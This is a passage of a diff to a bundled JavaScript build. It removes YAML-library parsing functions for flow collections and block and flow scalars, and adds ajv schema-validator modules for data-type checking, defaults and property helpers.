end`); - } - offset += source.length; - } - } - return { comment, offset }; -} -var init_resolve_end = __esm({ - "node_modules/yaml/browser/dist/compose/resolve-end.js"() { +// node_modules/ajv/dist/compile/validate/dataType.js +var require_dataType = __commonJS({ + "node_modules/ajv/dist/compile/validate/dataType.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - } -}); - -// node_modules/yaml/browser/dist/compose/resolve-flow-collection.js -function resolveFlowCollection({ composeNode: composeNode3, composeEmptyNode: composeEmptyNode2 }, ctx, fc, onError, tag) { - const isMap3 = fc.start.source === "{"; - const fcName = isMap3 ? "flow map" : "flow sequence"; - const NodeClass = tag?.nodeClass ?? (isMap3 ? YAMLMap : YAMLSeq); - const coll = new NodeClass(ctx.schema); - coll.flow = true; - const atRoot = ctx.atRoot; - if (atRoot) - ctx.atRoot = false; - if (ctx.atKey) - ctx.atKey = false; - let offset = fc.offset + fc.start.source.length; - for (let i7 = 0; i7 < fc.items.length; ++i7) { - const collItem = fc.items[i7]; - const { start, key, sep: sep2, value: value2 } = collItem; - const props = resolveProps(start, { - flow: fcName, - indicator: "explicit-key-ind", - next: key ?? sep2?.[0], - offset, - onError, - parentIndent: fc.indent, - startOnNewline: false - }); - if (!props.found) { - if (!props.anchor && !props.tag && !sep2 && !value2) { - if (i7 === 0 && props.comma) - onError(props.comma, "UNEXPECTED_TOKEN", `Unexpected , in ${fcName}`); - else if (i7 < fc.items.length - 1) - onError(props.start, "UNEXPECTED_TOKEN", `Unexpected empty item in ${fcName}`); - if (props.comment) { - if (coll.comment) - coll.comment += "\n" + props.comment; - else - coll.comment = props.comment; + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.reportTypeError = exports28.checkDataTypes = exports28.checkDataType = exports28.coerceAndCheckDataType = exports28.getJSONTypes = exports28.getSchemaTypes = exports28.DataType = void 0; + var rules_1 = require_rules(); + var applicability_1 = require_applicability(); + var errors_1 = require_errors(); + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var DataType; + (function(DataType2) { + DataType2[DataType2["Correct"] = 0] = "Correct"; + DataType2[DataType2["Wrong"] = 1] = "Wrong"; + })(DataType || (exports28.DataType = DataType = {})); + function getSchemaTypes(schema8) { + const types3 = getJSONTypes(schema8.type); + const hasNull = types3.includes("null"); + if (hasNull) { + if (schema8.nullable === false) + throw new Error("type: null contradicts nullable: false"); + } else { + if (!types3.length && schema8.nullable !== void 0) { + throw new Error('"nullable" cannot be used without "type"'); } - offset = props.end; - continue; + if (schema8.nullable === true) + types3.push("null"); } - if (!isMap3 && ctx.options.strict && containsNewline(key)) - onError( - key, - // checked by containsNewline() - "MULTILINE_IMPLICIT_KEY", - "Implicit keys of flow sequence pairs need to be on a single line" - ); + return types3; } - if (i7 === 0) { - if (props.comma) - onError(props.comma, "UNEXPECTED_TOKEN", `Unexpected , in ${fcName}`); - } else { - if (!props.comma) - onError(props.start, "MISSING_CHAR", `Missing , between ${fcName} items`); - if (props.comment) { - let prevItemComment = ""; - loop: - for (const st2 of start) { - switch (st2.type) { - case "comma": - case "space": - break; - case "comment": - prevItemComment = st2.source.substring(1); - break loop; - default: - break loop; - } - } - if (prevItemComment) { - let prev = coll.items[coll.items.length - 1]; - if (isPair(prev)) - prev = prev.value ?? prev.key; - if (prev.comment) - prev.comment += "\n" + prevItemComment; + exports28.getSchemaTypes = getSchemaTypes; + function getJSONTypes(ts) { + const types3 = Array.isArray(ts) ? ts : ts ? [ts] : []; + if (types3.every(rules_1.isJSONType)) + return types3; + throw new Error("type must be JSONType or JSONType[]: " + types3.join(",")); + } + exports28.getJSONTypes = getJSONTypes; + function coerceAndCheckDataType(it2, types3) { + const { gen, data, opts } = it2; + const coerceTo = coerceToTypes(types3, opts.coerceTypes); + const checkTypes = types3.length > 0 && !(coerceTo.length === 0 && types3.length === 1 && (0, applicability_1.schemaHasRulesForType)(it2, types3[0])); + if (checkTypes) { + const wrongType = checkDataTypes(types3, data, opts.strictNumbers, DataType.Wrong); + gen.if(wrongType, () => { + if (coerceTo.length) + coerceData(it2, types3, coerceTo); else - prev.comment = prevItemComment; - props.comment = props.comment.substring(prevItemComment.length + 1); - } + reportTypeError(it2); + }); } + return checkTypes; } - if (!isMap3 && !sep2 && !props.found) { - const valueNode = value2 ? composeNode3(ctx, value2, props, onError) : composeEmptyNode2(ctx, props.end, sep2, null, props, onError); - coll.items.push(valueNode); - offset = valueNode.range[2]; - if (isBlock(value2)) - onError(valueNode.range, "BLOCK_IN_FLOW", blockMsg); - } else { - ctx.atKey = true; - const keyStart = props.end; - const keyNode = key ? composeNode3(ctx, key, props, onError) : composeEmptyNode2(ctx, keyStart, start, null, props, onError); - if (isBlock(key)) - onError(keyNode.range, "BLOCK_IN_FLOW", blockMsg); - ctx.atKey = false; - const valueProps = resolveProps(sep2 ?? [], { - flow: fcName, - indicator: "map-value-ind", - next: value2, - offset: keyNode.range[2], - onError, - parentIndent: fc.indent, - startOnNewline: false + exports28.coerceAndCheckDataType = coerceAndCheckDataType; + var COERCIBLE = /* @__PURE__ */ new Set(["string", "number", "integer", "boolean", "null"]); + function coerceToTypes(types3, coerceTypes) { + return coerceTypes ? types3.filter((t8) => COERCIBLE.has(t8) || coerceTypes === "array" && t8 === "array") : []; + } + function coerceData(it2, types3, coerceTo) { + const { gen, data, opts } = it2; + const dataType = gen.let("dataType", (0, codegen_1._)`typeof ${data}`); + const coerced = gen.let("coerced", (0, codegen_1._)`undefined`); + if (opts.coerceTypes === "array") { + gen.if((0, codegen_1._)`${dataType} == 'object' && Array.isArray(${data}) && ${data}.length == 1`, () => gen.assign(data, (0, codegen_1._)`${data}[0]`).assign(dataType, (0, codegen_1._)`typeof ${data}`).if(checkDataTypes(types3, data, opts.strictNumbers), () => gen.assign(coerced, data))); + } + gen.if((0, codegen_1._)`${coerced} !== undefined`); + for (const t8 of coerceTo) { + if (COERCIBLE.has(t8) || t8 === "array" && opts.coerceTypes === "array") { + coerceSpecificType(t8); + } + } + gen.else(); + reportTypeError(it2); + gen.endIf(); + gen.if((0, codegen_1._)`${coerced} !== undefined`, () => { + gen.assign(data, coerced); + assignParentData(it2, coerced); }); - if (valueProps.found) { - if (!isMap3 && !props.found && ctx.options.strict) { - if (sep2) - for (const st2 of sep2) { - if (st2 === valueProps.found) - break; - if (st2.type === "newline") { - onError(st2, "MULTILINE_IMPLICIT_KEY", "Implicit keys of flow sequence pairs need to be on a single line"); - break; - } - } - if (props.start < valueProps.found.offset - 1024) - onError(valueProps.found, "KEY_OVER_1024_CHARS", "The : indicator must be at most 1024 chars after the start of an implicit flow sequence key"); + function coerceSpecificType(t8) { + switch (t8) { + case "string": + gen.elseIf((0, codegen_1._)`${dataType} == "number" || ${dataType} == "boolean"`).assign(coerced, (0, codegen_1._)`"" + ${data}`).elseIf((0, codegen_1._)`${data} === null`).assign(coerced, (0, codegen_1._)`""`); + return; + case "number": + gen.elseIf((0, codegen_1._)`${dataType} == "boolean" || ${data} === null + || (${dataType} == "string" && ${data} && ${data} == +${data})`).assign(coerced, (0, codegen_1._)`+${data}`); + return; + case "integer": + gen.elseIf((0, codegen_1._)`${dataType} === "boolean" || ${data} === null + || (${dataType} === "string" && ${data} && ${data} == +${data} && !(${data} % 1))`).assign(coerced, (0, codegen_1._)`+${data}`); + return; + case "boolean": + gen.elseIf((0, codegen_1._)`${data} === "false" || ${data} === 0 || ${data} === null`).assign(coerced, false).elseIf((0, codegen_1._)`${data} === "true" || ${data} === 1`).assign(coerced, true); + return; + case "null": + gen.elseIf((0, codegen_1._)`${data} === "" || ${data} === 0 || ${data} === false`); + gen.assign(coerced, null); + return; + case "array": + gen.elseIf((0, codegen_1._)`${dataType} === "string" || ${dataType} === "number" + || ${dataType} === "boolean" || ${data} === null`).assign(coerced, (0, codegen_1._)`[${data}]`); } - } else if (value2) { - if ("source" in value2 && value2.source && value2.source[0] === ":") - onError(value2, "MISSING_CHAR", `Missing space after : in ${fcName}`); - else - onError(valueProps.start, "MISSING_CHAR", `Missing , or : between ${fcName} items`); } - const valueNode = value2 ? composeNode3(ctx, value2, valueProps, onError) : valueProps.found ? composeEmptyNode2(ctx, valueProps.end, sep2, null, valueProps, onError) : null; - if (valueNode) { - if (isBlock(value2)) - onError(valueNode.range, "BLOCK_IN_FLOW", blockMsg); - } else if (valueProps.comment) { - if (keyNode.comment) - keyNode.comment += "\n" + valueProps.comment; - else - keyNode.comment = valueProps.comment; + } + function assignParentData({ gen, parentData, parentDataProperty }, expr) { + gen.if((0, codegen_1._)`${parentData} !== undefined`, () => gen.assign((0, codegen_1._)`${parentData}[${parentDataProperty}]`, expr)); + } + function checkDataType(dataType, data, strictNums, correct = DataType.Correct) { + const EQ = correct === DataType.Correct ? codegen_1.operators.EQ : codegen_1.operators.NEQ; + let cond2; + switch (dataType) { + case "null": + return (0, codegen_1._)`${data} ${EQ} null`; + case "array": + cond2 = (0, codegen_1._)`Array.isArray(${data})`; + break; + case "object": + cond2 = (0, codegen_1._)`${data} && typeof ${data} == "object" && !Array.isArray(${data})`; + break; + case "integer": + cond2 = numCond((0, codegen_1._)`!(${data} % 1) && !isNaN(${data})`); + break; + case "number": + cond2 = numCond(); + break; + default: + return (0, codegen_1._)`typeof ${data} ${EQ} ${dataType}`; } - const pair = new Pair(keyNode, valueNode); - if (ctx.options.keepSourceTokens) - pair.srcToken = collItem; - if (isMap3) { - const map4 = coll; - if (mapIncludes(ctx, map4.items, keyNode)) - onError(keyStart, "DUPLICATE_KEY", "Map keys must be unique"); - map4.items.push(pair); + return correct === DataType.Correct ? cond2 : (0, codegen_1.not)(cond2); + function numCond(_cond = codegen_1.nil) { + return (0, codegen_1.and)((0, codegen_1._)`typeof ${data} == "number"`, _cond, strictNums ? (0, codegen_1._)`isFinite(${data})` : codegen_1.nil); + } + } + exports28.checkDataType = checkDataType; + function checkDataTypes(dataTypes, data, strictNums, correct) { + if (dataTypes.length === 1) { + return checkDataType(dataTypes[0], data, strictNums, correct); + } + let cond2; + const types3 = (0, util_1.toHash)(dataTypes); + if (types3.array && types3.object) { + const notObj = (0, codegen_1._)`typeof ${data} != "object"`; + cond2 = types3.null ? notObj : (0, codegen_1._)`!${data} || ${notObj}`; + delete types3.null; + delete types3.array; + delete types3.object; } else { - const map4 = new YAMLMap(ctx.schema); - map4.flow = true; - map4.items.push(pair); - const endRange = (valueNode ?? keyNode).range; - map4.range = [keyNode.range[0], endRange[1], endRange[2]]; - coll.items.push(map4); + cond2 = codegen_1.nil; } - offset = valueNode ? valueNode.range[2] : valueProps.end; + if (types3.number) + delete types3.integer; + for (const t8 in types3) + cond2 = (0, codegen_1.and)(cond2, checkDataType(t8, data, strictNums, correct)); + return cond2; } - } - const expectedEnd = isMap3 ? "}" : "]"; - const [ce4, ...ee4] = fc.end; - let cePos = offset; - if (ce4 && ce4.source === expectedEnd) - cePos = ce4.offset + ce4.source.length; - else { - const name2 = fcName[0].toUpperCase() + fcName.substring(1); - const msg = atRoot ? `${name2} must end with a ${expectedEnd}` : `${name2} in block collection must be sufficiently indented and end with a ${expectedEnd}`; - onError(offset, atRoot ? "MISSING_CHAR" : "BAD_INDENT", msg); - if (ce4 && ce4.source.length !== 1) - ee4.unshift(ce4); - } - if (ee4.length > 0) { - const end = resolveEnd(ee4, cePos, ctx.options.strict, onError); - if (end.comment) { - if (coll.comment) - coll.comment += "\n" + end.comment; - else - coll.comment = end.comment; + exports28.checkDataTypes = checkDataTypes; + var typeError = { + message: ({ schema: schema8 }) => `must be ${schema8}`, + params: ({ schema: schema8, schemaValue }) => typeof schema8 == "string" ? (0, codegen_1._)`{type: ${schema8}}` : (0, codegen_1._)`{type: ${schemaValue}}` + }; + function reportTypeError(it2) { + const cxt = getTypeErrorContext(it2); + (0, errors_1.reportError)(cxt, typeError); + } + exports28.reportTypeError = reportTypeError; + function getTypeErrorContext(it2) { + const { gen, data, schema: schema8 } = it2; + const schemaCode = (0, util_1.schemaRefOrVal)(it2, schema8, "type"); + return { + gen, + keyword: "type", + data, + schema: schema8.type, + schemaCode, + schemaValue: schemaCode, + parentSchema: schema8, + params: {}, + it: it2 + }; } - coll.range = [fc.offset, cePos, end.offset]; - } else { - coll.range = [fc.offset, cePos, cePos]; } - return coll; -} -var blockMsg, isBlock; -var init_resolve_flow_collection = __esm({ - "node_modules/yaml/browser/dist/compose/resolve-flow-collection.js"() { +}); + +// node_modules/ajv/dist/compile/validate/defaults.js +var require_defaults = __commonJS({ + "node_modules/ajv/dist/compile/validate/defaults.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_identity(); - init_Pair(); - init_YAMLMap(); - init_YAMLSeq(); - init_resolve_end(); - init_resolve_props(); - init_util_contains_newline(); - init_util_map_includes(); - blockMsg = "Block collections are not allowed within flow collections"; - isBlock = (token) => token && (token.type === "block-map" || token.type === "block-seq"); - } -}); - -// node_modules/yaml/browser/dist/compose/compose-collection.js -function resolveCollection(CN2, ctx, token, onError, tagName, tag) { - const coll = token.type === "block-map" ? resolveBlockMap(CN2, ctx, token, onError, tag) : token.type === "block-seq" ? resolveBlockSeq(CN2, ctx, token, onError, tag) : resolveFlowCollection(CN2, ctx, token, onError, tag); - const Coll = coll.constructor; - if (tagName === "!" || tagName === Coll.tagName) { - coll.tag = Coll.tagName; - return coll; - } - if (tagName) - coll.tag = tagName; - return coll; -} -function composeCollection(CN2, ctx, token, props, onError) { - const tagToken = props.tag; - const tagName = !tagToken ? null : ctx.directives.tagName(tagToken.source, (msg) => onError(tagToken, "TAG_RESOLVE_FAILED", msg)); - if (token.type === "block-seq") { - const { anchor, newlineAfterProp: nl } = props; - const lastProp = anchor && tagToken ? anchor.offset > tagToken.offset ? anchor : tagToken : anchor ?? tagToken; - if (lastProp && (!nl || nl.offset < lastProp.offset)) { - const message = "Missing newline after block sequence props"; - onError(lastProp, "MISSING_CHAR", message); + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.assignDefaults = void 0; + var codegen_1 = require_codegen(); + var util_1 = require_util(); + function assignDefaults(it2, ty) { + const { properties, items } = it2.schema; + if (ty === "object" && properties) { + for (const key in properties) { + assignDefault(it2, key, properties[key].default); + } + } else if (ty === "array" && Array.isArray(items)) { + items.forEach((sch, i7) => assignDefault(it2, i7, sch.default)); + } } - } - const expType = token.type === "block-map" ? "map" : token.type === "block-seq" ? "seq" : token.start.source === "{" ? "map" : "seq"; - if (!tagToken || !tagName || tagName === "!" || tagName === YAMLMap.tagName && expType === "map" || tagName === YAMLSeq.tagName && expType === "seq") { - return resolveCollection(CN2, ctx, token, onError, tagName); - } - let tag = ctx.schema.tags.find((t8) => t8.tag === tagName && t8.collection === expType); - if (!tag) { - const kt = ctx.schema.knownTags[tagName]; - if (kt && kt.collection === expType) { - ctx.schema.tags.push(Object.assign({}, kt, { default: false })); - tag = kt; - } else { - if (kt) { - onError(tagToken, "BAD_COLLECTION_TYPE", `${kt.tag} used for ${expType} collection, but expects ${kt.collection ?? "scalar"}`, true); - } else { - onError(tagToken, "TAG_RESOLVE_FAILED", `Unresolved tag: ${tagName}`, true); + exports28.assignDefaults = assignDefaults; + function assignDefault(it2, prop, defaultValue) { + const { gen, compositeRule, data, opts } = it2; + if (defaultValue === void 0) + return; + const childData = (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(prop)}`; + if (compositeRule) { + (0, util_1.checkStrictMode)(it2, `default is ignored for: ${childData}`); + return; } - return resolveCollection(CN2, ctx, token, onError, tagName); + let condition = (0, codegen_1._)`${childData} === undefined`; + if (opts.useDefaults === "empty") { + condition = (0, codegen_1._)`${condition} || ${childData} === null || ${childData} === ""`; + } + gen.if(condition, (0, codegen_1._)`${childData} = ${(0, codegen_1.stringify)(defaultValue)}`); } } - const coll = resolveCollection(CN2, ctx, token, onError, tagName, tag); - const res = tag.resolve?.(coll, (msg) => onError(tagToken, "TAG_RESOLVE_FAILED", msg), ctx.options) ?? coll; - const node = isNode(res) ? res : new Scalar(res); - node.range = coll.range; - node.tag = tagName; - if (tag?.format) - node.format = tag.format; - return node; -} -var init_compose_collection = __esm({ - "node_modules/yaml/browser/dist/compose/compose-collection.js"() { +}); + +// node_modules/ajv/dist/vocabularies/code.js +var require_code2 = __commonJS({ + "node_modules/ajv/dist/vocabularies/code.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_identity(); - init_Scalar(); - init_YAMLMap(); - init_YAMLSeq(); - init_resolve_block_map(); - init_resolve_block_seq(); - init_resolve_flow_collection(); - } -}); - -// node_modules/yaml/browser/dist/compose/resolve-block-scalar.js -function resolveBlockScalar(ctx, scalar, onError) { - const start = scalar.offset; - const header = parseBlockScalarHeader(scalar, ctx.options.strict, onError); - if (!header) - return { value: "", type: null, comment: "", range: [start, start, start] }; - const type3 = header.mode === ">" ? Scalar.BLOCK_FOLDED : Scalar.BLOCK_LITERAL; - const lines = scalar.source ? splitLines(scalar.source) : []; - let chompStart = lines.length; - for (let i7 = lines.length - 1; i7 >= 0; --i7) { - const content = lines[i7][1]; - if (content === "" || content === "\r") - chompStart = i7; - else - break; - } - if (chompStart === 0) { - const value3 = header.chomp === "+" && lines.length > 0 ? "\n".repeat(Math.max(1, lines.length - 1)) : ""; - let end2 = start + header.length; - if (scalar.source) - end2 += scalar.source.length; - return { value: value3, type: type3, comment: header.comment, range: [start, end2, end2] }; - } - let trimIndent = scalar.indent + header.indent; - let offset = scalar.offset + header.length; - let contentStart = 0; - for (let i7 = 0; i7 < chompStart; ++i7) { - const [indent, content] = lines[i7]; - if (content === "" || content === "\r") { - if (header.indent === 0 && indent.length > trimIndent) - trimIndent = indent.length; - } else { - if (indent.length < trimIndent) { - const message = "Block scalars with more-indented leading empty lines must use an explicit indentation indicator"; - onError(offset + indent.length, "MISSING_CHAR", message); - } - if (header.indent === 0) - trimIndent = indent.length; - contentStart = i7; - if (trimIndent === 0 && !ctx.atRoot) { - const message = "Block scalar values in collections must be indented"; - onError(offset, "BAD_INDENT", message); - } - break; + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.validateUnion = exports28.validateArray = exports28.usePattern = exports28.callValidateCode = exports28.schemaProperties = exports28.allSchemaProperties = exports28.noPropertyInData = exports28.propertyInData = exports28.isOwnProperty = exports28.hasPropFunc = exports28.reportMissingProp = exports28.checkMissingProp = exports28.checkReportMissingProp = void 0; + var codegen_1 = require_codegen(); + var util_1 = require_util(); + var names_1 = require_names(); + var util_2 = require_util(); + function checkReportMissingProp(cxt, prop) { + const { gen, data, it: it2 } = cxt; + gen.if(noPropertyInData(gen, data, prop, it2.opts.ownProperties), () => { + cxt.setParams({ missingProperty: (0, codegen_1._)`${prop}` }, true); + cxt.error(); + }); } - offset += indent.length + content.length + 1; - } - for (let i7 = lines.length - 1; i7 >= chompStart; --i7) { - if (lines[i7][0].length > trimIndent) - chompStart = i7 + 1; - } - let value2 = ""; - let sep2 = ""; - let prevMoreIndented = false; - for (let i7 = 0; i7 < contentStart; ++i7) - value2 += lines[i7][0].slice(trimIndent) + "\n"; - for (let i7 = contentStart; i7 < chompStart; ++i7) { - let [indent, content] = lines[i7]; - offset += indent.length + content.length + 1; - const crlf = content[content.length - 1] === "\r"; - if (crlf) - content = content.slice(0, -1); - if (content && indent.length < trimIndent) { - const src = header.indent ? "explicit indentation indicator" : "first line"; - const message = `Block scalar lines must not be less indented than their ${src}`; - onError(offset - content.length - (crlf ? 2 : 1), "BAD_INDENT", message); - indent = ""; + exports28.checkReportMissingProp = checkReportMissingProp; + function checkMissingProp({ gen, data, it: { opts } }, properties, missing) { + return (0, codegen_1.or)(...properties.map((prop) => (0, codegen_1.and)(noPropertyInData(gen, data, prop, opts.ownProperties), (0, codegen_1._)`${missing} = ${prop}`))); } - if (type3 === Scalar.BLOCK_LITERAL) { - value2 += sep2 + indent.slice(trimIndent) + content; - sep2 = "\n"; - } else if (indent.length > trimIndent || content[0] === " ") { - if (sep2 === " ") - sep2 = "\n"; - else if (!prevMoreIndented && sep2 === "\n") - sep2 = "\n\n"; - value2 += sep2 + indent.slice(trimIndent) + content; - sep2 = "\n"; - prevMoreIndented = true; - } else if (content === "") { - if (sep2 === "\n") - value2 += "\n"; - else - sep2 = "\n"; - } else { - value2 += sep2 + content; - sep2 = " "; - prevMoreIndented = false; + exports28.checkMissingProp = checkMissingProp; + function reportMissingProp(cxt, missing) { + cxt.setParams({ missingProperty: missing }, true); + cxt.error(); } - } - switch (header.chomp) { - case "-": - break; - case "+": - for (let i7 = chompStart; i7 < lines.length; ++i7) - value2 += "\n" + lines[i7][0].slice(trimIndent); - if (value2[value2.length - 1] !== "\n") - value2 += "\n"; - break; - default: - value2 += "\n"; - } - const end = start + header.length + scalar.source.length; - return { value: value2, type: type3, comment: header.comment, range: [start, end, end] }; -} -function parseBlockScalarHeader({ offset, props }, strict2, onError) { - if (props[0].type !== "block-scalar-header") { - onError(props[0], "IMPOSSIBLE", "Block scalar header not found"); - return null; - } - const { source } = props[0]; - const mode = source[0]; - let indent = 0; - let chomp = ""; - let error2 = -1; - for (let i7 = 1; i7 < source.length; ++i7) { - const ch = source[i7]; - if (!chomp && (ch === "-" || ch === "+")) - chomp = ch; - else { - const n7 = Number(ch); - if (!indent && n7) - indent = n7; - else if (error2 === -1) - error2 = offset + i7; + exports28.reportMissingProp = reportMissingProp; + function hasPropFunc(gen) { + return gen.scopeValue("func", { + // eslint-disable-next-line @typescript-eslint/unbound-method + ref: Object.prototype.hasOwnProperty, + code: (0, codegen_1._)`Object.prototype.hasOwnProperty` + }); } - } - if (error2 !== -1) - onError(error2, "UNEXPECTED_TOKEN", `Block scalar header includes extra characters: ${source}`); - let hasSpace = false; - let comment = ""; - let length = source.length; - for (let i7 = 1; i7 < props.length; ++i7) { - const token = props[i7]; - switch (token.type) { - case "space": - hasSpace = true; - case "newline": - length += token.source.length; - break; - case "comment": - if (strict2 && !hasSpace) { - const message = "Comments must be separated from other tokens by white space characters"; - onError(token, "MISSING_CHAR", message); - } - length += token.source.length; - comment = token.source.substring(1); - break; - case "error": - onError(token, "UNEXPECTED_TOKEN", token.message); - length += token.source.length; - break; - default: { - const message = `Unexpected token in block scalar header: ${token.type}`; - onError(token, "UNEXPECTED_TOKEN", message); - const ts = token.source; - if (ts && typeof ts === "string") - length += ts.length; - } + exports28.hasPropFunc = hasPropFunc; + function isOwnProperty(gen, data, property2) { + return (0, codegen_1._)`${hasPropFunc(gen)}.call(${data}, ${property2})`; } - } - return { mode, indent, chomp, comment, length }; -} -function splitLines(source) { - const split3 = source.split(/\n( *)/); - const first = split3[0]; - const m7 = first.match(/^( *)/); - const line0 = m7?.[1] ? [m7[1], first.slice(m7[1].length)] : ["", first]; - const lines = [line0]; - for (let i7 = 1; i7 < split3.length; i7 += 2) - lines.push([split3[i7], split3[i7 + 1]]); - return lines; -} -var init_resolve_block_scalar = __esm({ - "node_modules/yaml/browser/dist/compose/resolve-block-scalar.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_Scalar(); - } -}); - -// node_modules/yaml/browser/dist/compose/resolve-flow-scalar.js -function resolveFlowScalar(scalar, strict2, onError) { - const { offset, type: type3, source, end } = scalar; - let _type; - let value2; - const _onError = (rel, code, msg) => onError(offset + rel, code, msg); - switch (type3) { - case "scalar": - _type = Scalar.PLAIN; - value2 = plainValue(source, _onError); - break; - case "single-quoted-scalar": - _type = Scalar.QUOTE_SINGLE; - value2 = singleQuotedValue(source, _onError); - break; - case "double-quoted-scalar": - _type = Scalar.QUOTE_DOUBLE; - value2 = doubleQuotedValue(source, _onError); - break; - default: - onError(scalar, "UNEXPECTED_TOKEN", `Expected a flow scalar value, but found: ${type3}`); - return { - value: "", - type: null, - comment: "", - range: [offset, offset + source.length, offset + source.length] - }; - } - const valueEnd = offset + source.length; - const re4 = resolveEnd(end, valueEnd, strict2, onError); - return { - value: value2, - type: _type, - comment: re4.comment, - range: [offset, valueEnd, re4.offset] - }; -} -function plainValue(source, onError) { - let badChar = ""; - switch (source[0]) { - case " ": - badChar = "a tab character"; - break; - case ",": - badChar = "flow indicator character ,"; - break; - case "%": - badChar = "directive indicator character %"; - break; - case "|": - case ">": { - badChar = `block scalar indicator ${source[0]}`; - break; + exports28.isOwnProperty = isOwnProperty; + function propertyInData(gen, data, property2, ownProperties) { + const cond2 = (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(property2)} !== undefined`; + return ownProperties ? (0, codegen_1._)`${cond2} && ${isOwnProperty(gen, data, property2)}` : cond2; } - case "@": - case "`": { - badChar = `reserved character ${source[0]}`; - break; + exports28.propertyInData = propertyInData; + function noPropertyInData(gen, data, property2, ownProperties) { + const cond2 = (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(property2)} === undefined`; + return ownProperties ? (0, codegen_1.or)(cond2, (0, codegen_1.not)(isOwnProperty(gen, data, property2))) : cond2; } - } - if (badChar) - onError(0, "BAD_SCALAR_START", `Plain value cannot start with ${badChar}`); - return foldLines(source); -} -function singleQuotedValue(source, onError) { - if (source[source.length - 1] !== "'" || source.length === 1) - onError(source.length, "MISSING_CHAR", "Missing closing 'quote"); - return foldLines(source.slice(1, -1)).replace(/''/g, "'"); -} -function foldLines(source) { - let first, line; - try { - first = new RegExp("(.*?)(? p7 !== "__proto__") : []; } - pos = line.lastIndex; - } - const last2 = /[ \t]*(.*)/sy; - last2.lastIndex = pos; - match = last2.exec(source); - return res + sep2 + (match?.[1] ?? ""); -} -function doubleQuotedValue(source, onError) { - let res = ""; - for (let i7 = 1; i7 < source.length - 1; ++i7) { - const ch = source[i7]; - if (ch === "\r" && source[i7 + 1] === "\n") - continue; - if (ch === "\n") { - const { fold, offset } = foldNewline(source, i7); - res += fold; - i7 = offset; - } else if (ch === "\\") { - let next = source[++i7]; - const cc = escapeCodes[next]; - if (cc) - res += cc; - else if (next === "\n") { - next = source[i7 + 1]; - while (next === " " || next === " ") - next = source[++i7 + 1]; - } else if (next === "\r" && source[i7 + 1] === "\n") { - next = source[++i7 + 1]; - while (next === " " || next === " ") - next = source[++i7 + 1]; - } else if (next === "x" || next === "u" || next === "U") { - const length = { x: 2, u: 4, U: 8 }[next]; - res += parseCharCode(source, i7 + 1, length, onError); - i7 += length; - } else { - const raw = source.substr(i7 - 1, 2); - onError(i7 - 1, "BAD_DQ_ESCAPE", `Invalid escape sequence ${raw}`); - res += raw; - } - } else if (ch === " " || ch === " ") { - const wsStart = i7; - let next = source[i7 + 1]; - while (next === " " || next === " ") - next = source[++i7 + 1]; - if (next !== "\n" && !(next === "\r" && source[i7 + 2] === "\n")) - res += i7 > wsStart ? source.slice(wsStart, i7 + 1) : ch; - } else { - res += ch; + exports28.allSchemaProperties = allSchemaProperties; + function schemaProperties(it2, schemaMap) { + return allSchemaProperties(schemaMap).filter((p7) => !(0, util_1.alwaysValidSchema)(it2, schemaMap[p7])); } - } - if (source[source.length - 1] !== '"' || source.length === 1) - onError(source.length, "MISSING_CHAR", 'Missing closing "quote'); - return res; -} -function foldNewline(source, offset) { - let fold = ""; - let ch = source[offset + 1]; - while (ch === " " || ch === " " || ch === "\n" || ch === "\r") { - if (ch === "\r" && source[offset + 2] !== "\n") - break; - if (ch === "\n") - fold += "\n"; - offset += 1; - ch = source[offset + 1]; - } - if (!fold) - fold = " "; - return { fold, offset }; -} -function parseCharCode(source, offset, length, onError) { - const cc = source.substr(offset, length); - const ok2 = cc.length === length && /^[0-9a-fA-F]+$/.test(cc); - const code = ok2 ? parseInt(cc, 16) : NaN; - if (isNaN(code)) { - const raw = source.substr(offset - 2, length + 2); - onError(offset - 2, "BAD_DQ_ESCAPE", `Invalid escape sequence ${raw}`); - return raw; - } - return String.fromCodePoint(code); -} -var escapeCodes; -var init_resolve_flow_scalar = __esm({ - "node_modules/yaml/browser/dist/compose/resolve-flow-scalar.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_Scalar(); - init_resolve_end(); - escapeCodes = { - "0": "\0", - // null character - a: "\x07", - // bell character - b: "\b", - // backspace - e: "\x1B", - // escape character - f: "\f", - // form feed - n: "\n", - // line feed - r: "\r", - // carriage return - t: " ", - // horizontal tab - v: "\v", - // vertical tab - N: "\x85", - // Unicode next line - _: "\xA0", - // Unicode non-breaking space - L: "\u2028", - // Unicode line separator - P: "\u2029", - // Unicode paragraph separator - " ": " ", - '"': '"', - "/": "/", - "\\": "\\", - " ": " " - }; - } -}); - -// node_modules/yaml/browser/dist/compose/compose-scalar.js -function composeScalar(ctx, token, tagToken, onError) { - const { value: value2, type: type3, comment, range: range2 } = token.type === "block-scalar" ? resolveBlockScalar(ctx, token, onError) : resolveFlowScalar(token, ctx.options.strict, onError); - const tagName = tagToken ? ctx.directives.tagName(tagToken.source, (msg) => onError(tagToken, "TAG_RESOLVE_FAILED", msg)) : null; - let tag; - if (ctx.options.stringKeys && ctx.atKey) { - tag = ctx.schema[SCALAR]; - } else if (tagName) - tag = findScalarTagByName(ctx.schema, value2, tagName, tagToken, onError); - else if (token.type === "scalar") - tag = findScalarTagByTest(ctx, value2, token, onError); - else - tag = ctx.schema[SCALAR]; - let scalar; - try { - const res = tag.resolve(value2, (msg) => onError(tagToken ?? token, "TAG_RESOLVE_FAILED", msg), ctx.options); - scalar = isScalar(res) ? res : new Scalar(res); - } catch (error2) { - const msg = error2 instanceof Error ? error2.message : String(error2); - onError(tagToken ?? token, "TAG_RESOLVE_FAILED", msg); - scalar = new Scalar(value2); - } - scalar.range = range2; - scalar.source = value2; - if (type3) - scalar.type = type3; - if (tagName) - scalar.tag = tagName; - if (tag.format) - scalar.format = tag.format; - if (comment) - scalar.comment = comment; - return scalar; -} -function findScalarTagByName(schema8, value2, tagName, tagToken, onError) { - if (tagName === "!") - return schema8[SCALAR]; - const matchWithTest = []; - for (const tag of 